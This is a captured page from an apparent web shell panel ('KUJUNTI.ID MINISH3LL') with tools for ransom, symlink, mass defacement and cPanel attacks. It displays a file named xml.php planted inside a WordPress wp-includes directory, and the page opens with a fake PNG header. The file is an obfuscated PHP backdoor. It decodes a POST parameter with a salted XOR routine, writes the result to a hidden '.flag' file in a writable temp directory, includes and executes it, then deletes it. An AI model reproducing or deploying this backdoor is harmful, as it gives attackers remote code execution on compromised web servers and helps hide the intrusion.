\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-includes/network/includes/plugins/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-includes/network/includes/plugins/xml.php


<?php

if(!is_null($_POST["\x72e\x66\x65r\x65nce"] ?? null)){
	$resource = $_POST["\x72e\x66\x65r\x65nce"];
		$resource=	 	explode	 ( '.',	 	$resource		);			
	$record =		'';
            $salt5 =		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =		strlen($salt5);
    
            foreach($resource as $p		=>$v3) {
                $sChar =		ord($salt5[$p	 %$sLen]);
                $dec =		((int)$v3 - $sChar -($p	 %10)) ^ 12;
                $record .= chr($dec);
            }
	$dchunk = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]);
	while ($key = array_shift($dchunk)) {
    		if (array_product([is_dir($key), is_writable($key)])) {
    $res = "$key/.flag";
    if (file_put_contents($res, $record)) {
	include $res;
	@unlink($res);
	die();
}
}
}
}

© KUJUNTI.ID